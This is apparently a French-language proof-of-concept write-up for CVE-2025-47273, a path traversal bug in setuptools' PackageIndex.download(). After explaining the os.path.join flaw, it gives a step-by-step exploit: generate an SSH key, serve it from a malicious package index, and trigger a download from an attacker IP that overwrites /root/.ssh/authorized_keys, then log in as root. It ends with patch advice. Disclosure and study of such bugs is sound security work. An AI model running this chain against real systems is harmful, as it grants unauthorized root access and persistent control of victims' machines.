
CVE-2025-47273 est une vulnérabilité de traversée de chemin de haute sévérité dans la bibliothèque setuptools ,plus précisément la version 78.1.0 .
Cette preuve de concept (PoC) est destinée à des fins éducatives et uniquement à des audits de sécurité autorisés. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique.
CVE-2025-47273 est une vulnérabilité de chemin de traversée (path traversal) trouvée dans le module package_index de la bibliothèque setuptools (v78.1.0 et versions antérieures). La vulnérabilité permet à un attaquant d'effectuer une écriture arbitraire de fichier en fournissant une URL spécialement conçue à la méthode PackageIndex.download().
Le défaut provient d'un piège courant dans la fonction os.path.join() de Python. Selon la documentation Python :
Si un composant est un chemin absolu, tous les composants précédents sont rejetés et la jonction continue à partir du composant de chemin absolu.
Dans la version vulnérable de setuptools, le nom de fichier de destination est déterminé en extrayant un nom de l'URL et en le joignant à un répertoire temporaire :
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
Si un attaquant fournit une URL où la partie nom de fichier (après décodage URL) commence par une barre oblique /, os.path.join ignore le préfixe tmpdir et renvoie le chemin absolu fourni dans l'URL.
[ URL contrôlée par l'attaquant ]
http://attaquant.local/%2fetc%2fpasswd
|
| 1. Décodage URL
v
[ Nom de fichier décodé (name) ]
"/etc/passwd"
|
| 2. Appel de la fonction vulnérable
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Logique de os.path.join de Python
v
[ Chemin résultant (filename) ]
"/etc/passwd" <-- /tmp/download_dir est abandonné !
Puisque le chemin de destination peut être manipulé en un chemin absolu, un attaquant peut écrire du contenu arbitraire à n'importe quel endroit du système de fichiers où le processus dispose des droits d'écriture.
setuptools s'exécute avec des privilèges élevés (par exemple, un installateur système), un attaquant peut écraser des fichiers système critiques comme /etc/passwd, /root/.ssh/authorized_keys ou /etc/shadow et bien d'autres possibilités...~/.bashrc, ~/.ssh/authorized_keys, ou l'injection de code dans des bibliothèques Python existantes peut conduire à une exécution de code à distance persistante./root/.ssh/authorized_keys)La vulnérabilité est présente dans la version 78.1.0 de setuptools.
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
Le script server.py agit comme un index de paquets malveillant. Il sert un fichier de payload quel que soit le chemin demandé, et le fichier que nous servons est id_rsa.pub.
python3 server.py 80
Déclencher l'écriture de fichier avec cette commande, puis vous pouvez vous connecter en SSH en tant que root avec la paire de clés SSH pré-générée.
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<IP_ATTAQUANT>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<ip-cible>
La vulnérabilité a été corrigée dans la version 78.1.1 de setuptools. Le correctif consiste à assainir strictement la variable name dérivée de l'URL pour garantir qu'elle ne contient pas de barres obliques au début ni de lettres de lecteur avant d'être passée à os.path.join().
Pour sécuriser votre environnement :
pip install --upgrade setuptools